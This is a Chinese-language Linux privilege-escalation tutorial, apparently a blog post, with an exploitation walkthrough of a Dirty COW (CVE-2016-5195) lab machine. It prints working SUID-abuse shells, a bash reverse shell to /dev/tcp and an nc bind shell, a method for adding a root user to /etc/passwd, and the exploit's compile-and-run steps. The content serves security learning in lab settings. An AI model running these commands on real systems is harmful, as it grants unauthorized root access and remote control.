目录
前言
所谓提权就是指将低权限的账户转换为高权限账户,通过获取高权限账户去做需要高权限才能做的事情。
对于Linux内核提权,有一些内核漏洞需要使用到本地用户去提权,有些漏洞可以无视任何权限都可以进行提权。
信息收集
基础的信息收集跟应急响应的知识是相对的。
手动收集
1、操作系统信息
uname -a 打印所有可用的系统信息
hostname 系统主机名
2、用户信息
cat /etc/passwd 列出系统上的所有用户
cat /etc/group 列出系统上的所有组
whoami 查看当前用户
id 当前用户信息
lastlog 所有用户上次登录的信息
cat /etc/sudoers 查看被允许以root身份执行的用户
sudo -l 当前用户以root身份进行执行操作
3、环境信息
env/set 显示环境变量
history 显示当前用户的历史命令记录
pwd 显示当前工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shellrc
4、进程与服务
ps aux 显示进程
cat /etc/services 查看服务
netstat -tanlp
5、程序
ls -alh /usr/bin/ 显示当前运行程序信息
ls -alh /sbin/ 显示当前运行程序信息
dpkg -l 查看程序信息
6、计划任务
crontab -l 查看计划任务
7、日志信息
/var/log下各个日志文件
Apache日志文件:cat /etc/httpd/logs/access.log ;cat /etc/httpd/logs/error_log
...
工具收集
LinEnum
LinEnum是Linux枚举及提权提升检查工具,该工具除了RCE无法收集,其他信息都能收集,主要有:内核、系统信息、用户信息、环境、作业、任务、服务、web服务版本、默认密码或弱口令等。
下载地址:LinEnum
Linuxprivchecker
这个同样也是对服务器的信息进行信息收集的一个脚本,但是可能没有颜色区别比较单调,可以结合多个工具进行对比查看是否存在信息收集缺漏。这个脚本需要使用Python进行执行。
下载地址:Linuxprivchecker
linux-exploit-suggester
这个脚本会输出服务器基本信息,也会输出可能存在的漏洞,还包括了exp的下载地址,可以下载对应的exp进行测试,而且有颜色区别说明。
根据给的exp的下载地址下载脚本,每一个脚本都会有存在编译的命令,很有可能目标服务器没有这个编译环境,那么则需要在本地进行编译,编译完后再将exp上传上去,而且更好找的是同样型号的进行编译,减少出错可能。
SUID提权
SUID是一种对二进制程序进行设置的特殊权限,可以让二进制的执行者临时拥有属主的权限。
如果对一些特殊命令设置了SUID,那么就有被提权的风险,常见的SUID提权命令有nmap、vim、find、bash、more、nano、awk和cp等。
收集具有SUID权限的文件
find / -perm -u=s -type f 2>/dev/null
这里简单解释一下这个命令:
- / 表示从根目录开始寻找
- -perm 表示搜索指定的权限的文件
- -u=s 表示查找root权限的文件
- -type 表示搜索指定的文件类型
- f 表示常规文件,而不是目录或特殊文件
- 2 表示该进程的第二个文件描述符,即stderr(标准错误),标准输出到错误文件
- /dev/null 是一个特殊的文件系统对象,它将丢弃写入其中的所有内容
find提权
#进入shell:
find /etc/passwd -exec '/bin/sh' \;
#nc正向连接shell:
find user -exec nc -lvp 4444 -e '/bin/sh' \;
#nc反弹shell:
find user -exec bash -c 'bash -i >& /dev/tcp/ip/4444 0>&1' \;
斜杠\是为了转义;符号。
nmap提权
nmap交互模式提权
适用版本:nmap 2.02 - 5.21
#进入nmap交互模式
nmap --interactive
#提权
!sh
脚本模式提权
全版本通杀提权
echo "os.execute('/bin/bash')" > /tmp/shell
nmap --script=/tmp/shell
os.execute是lua函数,相当于c语言的system函数。
vim提权
由于继承了root权限,所以可以读取系统上的所有文件
vim /etc/passwd
:set shell = '/bin/sh'
:shell
bash提权
以root身份打开一个bash shell:
bash -p
less/more提权
less/more命令:查看文件内容
less(more) /etc/passwd
#然后输入
!bin/sh
nano提权
nano
Ctrl + R
Ctrl + X
然后输入命令
cp/mv提权
可以使用cp、mv命令进行覆盖原来的/etc/passwd文件,增加root权限用户。
[kali@kali ~]$ cat /etc/passwd >passwd
[kali@kali ~]$ openssl passwd -1 -salt hack hack123
$1$hack$WTn0dk2QjNeKfl.DHOUue0
[kali@kali ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/
[kali@kali ~]$ cp passwd /etc/passwd #mv passwd /etc/passwd
[kali@kali ~]$ su - hack
Password:
[root@kali ~]# id
uid=0(hack) gid=0(root) groups=0(root)
[root@kali ~]# cat /etc/passwd|tail -1
hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash
python/perl/ruby/lua/php/etc
#python
python -c "import os;os.system('/bin/bash')"
#perl
perl -e 'exec "/bin/bash";'
#ruby
ruby -e 'exec "/bin/bash";'
#php
php -a
exec("/bin/bash");
还有很多其他的命令都可以进行利用,比如说lxd、screen、git、wget、exim等等,可以根据实际遇到的然后进行搜索。
计划任务提权
系统内可能会有一些定时执行的任务,这些任务一般都由crontab管理,具有所属用户的权限。非root权限的用户是不可列出root权限的计划任务的,但是/etc/内系统的计划任务是可以被列出的。
ls -l /etc/cron*
cat /etc/crontab
在其他手段提权都失败的情况下,可以尝试查看一下计划任务,检查是否存在一些可以利用的计划任务。
举例一个场景:
如果存在一个计划任务时以root权限运行的,查看这个计划任务的权限配置发现普通用户也可以对这个任务文件进行修改,那么攻击者就可以修改这个任务文件然后等待计划任务的执行,执行后即可实现提权。
脏牛提权(CVE-2016-5195)
利用原理
脏牛提权是利用了Copy-on-Write机制中的一个竞态条件,攻击者可以获取一个只读的文件的写入权限,从而提升为本地管理员权限。
很多情况下,希望能够并行去处理多个相同的进程,所以内核中就存在复制进程的操作,但是如果只简单的复制两个完全一样的进程空间的话,就是非常浪费空间和时间的,所以采用了COW技术进行优化。
COW技术是一种内存管理技术,它在进程复制时,不会立即为进程分配物理内存,而是为进程先建立一个虚拟的内存空间,然后将虚拟空间指向物理空间,便于读取文件;只有当需要执行文件写操作的时候,才会复制一个物理内存空间分配给它,然后进程在这个物理空间内进行修改,原始文件就还是变成只读状态,不会影响其他进程。
原始只读文件-->>修改为可写状态-->>复制原始只读文件-->>原始状态改回可读。
但是在这个过程中,存在竞态条件。假设多个进程同时共享一个只读文件,那么内核很可能去把这个文件复制多次,使得每个进程可以修改,但是在内核将原始只读文件的访问状态从可写改回只读之前,多个进程都可以访问和修改原始文件,如果在这个歌时间段存在恶意进程进行对文件修改,结果就是修改了原始文件,从而产生了漏洞。
影响版本
Linux kernel > 2.6.22
利用复现
靶场链接:LAMPIAO
使用arp查看靶场IP地址
然后使用nmap扫描开放端口
访问1898端口页面
发现这个网站是有Drupal构建,使用msfconsole工具查询有没有Drupal的公开漏洞:
msfconsole
search drupal
use 1
随后查看需要设定的参数,然后进行设定
show options
查看结果,攻击成功但是权限不够高
所以要对其进行提权,将上面提到的linux-exploit-suggester脚本放入靶机的/tmp目录下,命名为1.sh,然后赋予可执行权限运行
upload /home/kali/桌面/tools/linux-exploit-suggester/linux-exploit-suggester.sh /tmp/1.sh
cd /tmp
ls
chmod 1.sh
shell
./1.sh
可以看到这里显示存在脏牛提权漏洞,可以根据下载地址下载对应的exp
但是由于一些给定的exp地址可能不是最优的,所以这里选择下载官方的exp进行尝试(也可以自行下载上面的exp看是否有问题)
下载地址:GitHub - gbonacini/CVE-2016-5195: A CVE-2016-5195 exploit example.
然后进行上传到靶机里面再进行执行
upload /home/kali/桌面/dcow.cpp /tmp/40837.cpp
shell
然后使用gcc进行编译(如果靶机没有gcc命令,则需要编译后再上传文件),然后运行编译后的文件
#编译exp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40837.cpp -lutil
#将简单的shell转换成完全交互
python -c 'import pty;pty.spawn("/bin/bash")'
#执行dcow文件
./dcow
成功获取到root用户的密码,然后进行登录,即可完成提权。
Dirty Pipe
另外,和脏牛漏洞类似的还有Dirty Pipe漏洞,攻击者通过此漏洞同样可以覆盖任意写读文件的数据,从而将普通权限的用户提升到特权root。
因为原理和利用方式都类似,这里就不详细说,有兴趣的可以自行去了解一下。
可能等到我碰到这样的靶场再会来更新。
明文root密码提权
大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件有关。
passwd文件存储了用户信息,是全用户可读,root用户可写;shadow文件存储了密码的hash,一般情况下是仅root可读写的。
但是如果存在一些权限配置不当,例如普通用户也可以读取shadow文件的话就可以通过hash、john等对其爆破,就可以获得用户密码进行提权。
其他提权
除了以上的提权,也还有其他许多的提权方式,这些都需要读者根据实际环境慢慢去探索。
比如我们获取到一些数据库、后台web密码也很有可能就是root密码。
还有数据库提权,之前有发一篇文章讲述:mysql提权总结(自学)-CSDN博客
参考链接